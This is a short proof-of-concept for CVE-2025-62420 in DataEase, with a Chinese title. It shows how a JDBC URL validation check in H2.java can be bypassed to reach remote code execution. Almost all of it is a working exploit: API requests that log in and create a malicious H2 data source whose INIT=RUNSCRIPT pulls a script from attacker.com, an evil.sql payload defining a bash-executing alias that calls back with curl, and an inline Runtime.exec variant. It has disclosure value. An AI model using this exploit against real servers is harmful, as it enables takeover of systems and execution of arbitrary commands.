CVE-2025-62420：DataEase JDBC驱动绕过导致远程代码执行漏洞

/* * CVE-2025-62420 PoC - DataEase JDBC Driver Bypass to RCE * * The vulnerability exists in the getJdbc function of H2.java. * It validates that jdbcUrl starts with "jdbc:h2" but returns a separate * "jdbc" field as the actual connection URL, allowing JDBC driver bypass. * * This PoC demonstrates how to craft a malicious data source configuration * that bypasses the validation and triggers arbitrary JDBC connections. */ // Step 1: Authenticate to DataEase and obtain a valid session token POST /de2api/login/check Content-Type: application/json { "username": "attacker", "password": "password123" } // Step 2: Create a malicious data source via the API // The jdbcUrl starts with "jdbc:h2" to pass validation, // while the "jdbc" field contains a malicious H2 connection string POST /de2api/datasource/create Content-Type: application/json Cookie: DE2_TOKEN=<session_token> { "name": "malicious_ds", "type": "h2", "jdbcUrl": "jdbc:h2:mem:test", "jdbc": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://attacker.com:8000/evil.sql'\\;DB_CLOSE_DELAY=-1", "username": "sa", "password": "", "database": "" } // evil.sql (hosted on attacker's server) - executes arbitrary commands: /* CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('curl http://attacker.com:8000/rce_success') */ // Alternative: Use H2's built-in RUNSCRIPT to execute system commands // jdbc: "jdbc:h2:mem:;INIT=CREATE ALIAS EXEC AS 'String exec(String cmd) throws Exception { Runtime.getRuntime().exec(cmd)\; return \"\"\;}';CALL EXEC('id')"